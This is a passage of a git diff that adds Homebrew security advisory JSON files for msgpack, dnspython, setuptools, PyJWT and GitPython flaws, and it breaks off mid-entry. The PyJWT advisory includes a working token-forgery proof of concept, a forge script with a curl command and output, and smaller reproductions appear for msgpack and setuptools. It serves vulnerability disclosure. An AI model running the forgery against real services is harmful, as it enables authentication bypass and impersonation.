"severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-hhww-mrg2-969h" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/27498" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/13a193367f0ae2e7e8b29913e0d23a32d3bb0457" + }, + { + "type": "PACKAGE", + "url": "https://github.com/BerriAI/litellm" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/releases/tag/v1.85.0" + } + ] +} diff --git a/advisories/BREW-datalad-CVE-2026-114613.json b/advisories/BREW-datalad-CVE-2026-114613.json new file mode 100644 index 00000000000..e37c21c5129 --- /dev/null +++ b/advisories/BREW-datalad-CVE-2026-114613.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-datalad-CVE-2026-114613", + "published": "2026-10-27T19:26:43Z", + "modified": "2026-10-27T19:26:43Z", + "upstream": [ + "GHSA-j586-36cw-2gc2", + "CVE-2026-114613" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "datalad", + "purl": "pkg:brew/datalad" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.14.0" + }, + { + "fixed": "1.6.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "1.2.3", + "resource": "msgpack", + "resource_purl": "pkg:pypi/msgpack@1.2.3" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "msgpack", + "subject_version": "1.2.3", + "key": "pkg:pypi/msgpack@1.2.3", + "resource": "msgpack" + } + ] + }, + "summary": "MessagePack: Unbounded memory leak in msgpack C extension on strict_map_key validation failure", + "details": "### Impact\n\nThe msgpack-python C extension (`msgpack._cmsgpack`) leaks a decoded map value when deserialization rejects a key with `strict_map_key=True` (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both `unpackb()` and the streaming `Unpacker` API are affected. The pure-Python fallback does not exhibit this leak in the reported tests.\n\nThe report measured approximately 4 MiB retained per failed parse and 100 MiB after 25 failed parses on Windows with Python 3.14 and msgpack 1.2.2. These are reporter-provided results.\n\n### Additional impact: stale parser-stack references\n\nThe reference-ownership audit performed while fixing this leak found an\nadditional memory-safety issue in the streaming `Unpacker`.\n\nAfter `unpack()` completed a nested container, an inactive parser-stack slot\ncould retain a non-owning pointer to the decoded object. A subsequent `skip()`\ncould reactivate that slot. If parsing then failed, context cleanup treated the\nstale pointer as an owned reference and decremented it.\n\nThis corrupts the object's reference count and can result in a use-after-free\nor double `Py_DECREF` when its actual owners later release it.\n\nAlthough few users use this API, but those who do may experience crashes or unexpected errors due to a use-after-free.\n\n### Details\n\nIn `msgpack/unpack.h`, `unpack_callback_map_item()` rejects keys that are neither `str` nor `bytes`. At this point the map value has already been constructed. The early error return does not release the value reference.\n\nIn `msgpack/unpack_template.h`, the value is held in the local `obj` in `unpack_execute()`. The `CT_MAP_VALUE` error path jumps to `_failed` without decrementing that reference. Cleanup of the parser stack does not recover the value because it is not stored in the stack. The fallback checks the key before decoding the value.\n\n### Affected versions\n\nThe report reproduces the issue on **1.2.2** and reports it on development commit `475c1b7`. The affected-product field lists the reproduced release only; it is not a claim that earlier releases are unaffected.\n\nThe earliest affected release needs confirmation: the report's summary says 1.1.x through 1.2.2, while its root-cause analysis attributes introduction to commit `cd81370` (PR #673). Resolve this discrepancy before publishing a definitive affected-version range.\n\n### Reproduction\n\nRun in a disposable local process with the C extension installed:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nmsgpack.unpackb(payload) # Raises ValueError; the report observes a 4 MiB leak.\n```\n\nStreaming API trigger:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nu = msgpack.Unpacker()\nu.feed(payload)\nlist(u) # Same strict_map_key error path.\n```\n\n### Workarounds\n\nThe pure-Python fallback is reported not to leak on this path and may be used as a temporary workaround after application compatibility and performance checks. Request-size and rate limits may reduce the impact but do not eliminate cumulative leakage.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114613" + }, + { + "type": "WEB", + "url": "https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141" + }, + { + "type": "PACKAGE", + "url": "https://github.com/msgpack/msgpack-python" + }, + { + "type": "WEB", + "url": "https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3" + } + ] +} diff --git a/advisories/BREW-dnsviz-CVE-2026-114605.json b/advisories/BREW-dnsviz-CVE-2026-114605.json new file mode 100644 index 00000000000..5fa765e46ee --- /dev/null +++ b/advisories/BREW-dnsviz-CVE-2026-114605.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-dnsviz-CVE-2026-114605", + "published": "2026-10-27T19:29:13Z", + "modified": "2026-10-27T19:29:13Z", + "upstream": [ + "GHSA-45c3-73f7-pv4m", + "CVE-2026-114605" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "dnsviz", + "purl": "pkg:brew/dnsviz" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.6.5" + }, + { + "fixed": "0.11.2_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "2.9.0", + "resource": "dnspython", + "resource_purl": "pkg:pypi/dnspython@2.9.0" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "dnspython", + "subject_version": "2.9.0", + "key": "pkg:pypi/dnspython@2.9.0", + "resource": "dnspython" + } + ] + }, + "summary": "dnspython dns.name.from_wire_parser() excessive CPU use", + "details": "### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression. Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114605" + }, + { + "type": "WEB", + "url": "https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rthalley/dnspython" + }, + { + "type": "WEB", + "url": "https://github.com/rthalley/dnspython/releases/tag/v2.9.0" + } + ] +} diff --git a/advisories/BREW-dnsviz-GHSA-xmj3-9gf7-h52w.json b/advisories/BREW-dnsviz-GHSA-xmj3-9gf7-h52w.json new file mode 100644 index 00000000000..f491a195617 --- /dev/null +++ b/advisories/BREW-dnsviz-GHSA-xmj3-9gf7-h52w.json @@ -0,0 +1,83 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-dnsviz-GHSA-xmj3-9gf7-h52w", + "published": "2026-10-27T19:29:13Z", + "modified": "2026-10-27T19:29:13Z", + "upstream": [ + "GHSA-xmj3-9gf7-h52w" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "dnsviz", + "purl": "pkg:brew/dnsviz" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.11.2" + }, + { + "fixed": "0.11.2_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "84.1.0", + "resource": "setuptools", + "resource_purl": "pkg:pypi/setuptools@84.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "setuptools", + "subject_version": "84.2.1", + "key": "pkg:pypi/setuptools@84.2.1", + "resource": "setuptools" + } + ] + }, + "summary": "setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation Description", + "details": "### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n destination/\n outside/\n input/\n canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/pull/5329" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/setuptools" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/releases/tag/v84.1.0" + } + ] +} diff --git a/advisories/BREW-mcp-proxy-GHSA-pxh4-856f-4h89.json b/advisories/BREW-mcp-proxy-GHSA-pxh4-856f-4h89.json new file mode 100644 index 00000000000..c9dbbbc06bb --- /dev/null +++ b/advisories/BREW-mcp-proxy-GHSA-pxh4-856f-4h89.json @@ -0,0 +1,79 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mcp-proxy-GHSA-pxh4-856f-4h89", + "published": "2026-10-27T19:47:56Z", + "modified": "2026-10-27T19:47:56Z", + "upstream": [ + "GHSA-pxh4-856f-4h89" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mcp-proxy", + "purl": "pkg:brew/mcp-proxy" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.10.0_1" + }, + { + "fixed": "0.12.0_5" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "2.14.0", + "resource": "pyjwt", + "resource_purl": "pkg:pypi/pyjwt@2.15.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pyjwt", + "subject_version": "2.15.1", + "key": "pkg:pypi/pyjwt@2.15.1", + "resource": "pyjwt" + } + ] + }, + "summary": "PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery", + "details": "### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `<= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -> bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # <-- empty k -> b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -> bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key's \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved\n`PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -> `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -> \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -> k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n claims, err = authenticate()\n if err:\n return jsonify({\"error\": err}), 401\n if claims.get(\"role\") != \"admin\":\n return jsonify({\"error\": \"forbidden\"}), 403\n return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)>1 else b\"\" # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v && ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n <-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n <-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n <-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n <-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n <-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n yielding full impersonation and privilege escalation on any endpoint gated by\n such tokens.\n- Reachable through the documented JWKS verification API\n (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n string-secret path already rejects in 2.13.0, leaving the JWK path as an\n asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n> Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-110855.json b/advisories/BREW-mistral-vibe-CVE-2026-110855.json new file mode 100644 index 00000000000..79c5ffc69d7 --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-110855.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-110855", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-fx3j-rwgx-fr94", + "CVE-2026-110855" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.1.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.62" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.62", + "key": "pkg:pypi/gitpython@3.1.62", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name", + "details": "### Summary\n`Repo._clone()`'s handling of `separate_git_dir` never disables `Git.polish_url()`'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since `separate_git_dir` can be derived from an attacker-controlled `.gitmodules` submodule name, a completely ordinary `clone` + `submodule_update(init=True, recursive=True)` on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a `Popen(...)` log line that is not redacted the way credential-bearing arguments are.\n\n### Root cause / Details\n`git/repo/base.py`'s `_clone()` has:\n\n```python\nsep_dir = kwargs.get(\"separate_git_dir\")\nif sep_dir:\n kwargs[\"separate_git_dir\"] = Git.polish_url(sep_dir)\n```\n\nThis is the only remaining `Git.polish_url()` call site handling attacker-influenced data that does not pass `expand_vars=False` (there is one other unguarded call site, `clone_path` at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` added `expand_vars=False` to `clone_url` (5 lines below this one, in the same function), `git/repo/base.py:1599`, `remote.py:814`, and `submodule/base.py:686` — this one did not receive it. (`submodule/root.py` also currently sets `expand_vars=False` at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) `Git.polish_url()`'s docstring itself says: 